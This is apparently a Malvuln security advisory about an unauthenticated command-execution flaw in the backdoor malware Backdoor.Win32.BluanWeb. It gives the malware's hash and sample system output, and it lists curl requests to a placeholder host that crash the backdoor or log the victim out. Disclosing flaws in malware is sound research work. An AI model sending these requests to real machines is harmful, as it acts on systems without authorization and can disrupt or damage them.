Saturday, March 5, 2022

Backdoor.Win32.BluanWeb Remote Command Execution

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.BluanWeb
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware "BlueAngel For WebServer" by "leonshoh" listens on TCP port 80. The malware provides an HTML web-interface that exposes the entire system and creates HTML page with links to delete, logoff or exit the system. Third-party attackers who can reach an infected host can make HTTP GET request to execute commands made available by the backdoor.

文件名长度 255
文件系统 NTFS
磁盘大小 3625.000000 MB
剩余空间 3284.000000 MB

[Fixed Disk C]
Volume label name
Filename length 255
File system NTFS
Disk size 3625.000000 MB
Free space 3284.000000 MB
[Disc D]

Type: PE32
MD5: 30903ccbc6747c0da5a2775884b78def
Vuln ID: MVID-2022-0506
Disclosure: 03/03/2022

1) delete any file

2) DOS backdoor
curl http://x.x.x.x/exit

3) sign out the victim machine
curl http://x.x.x.x/logoff

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore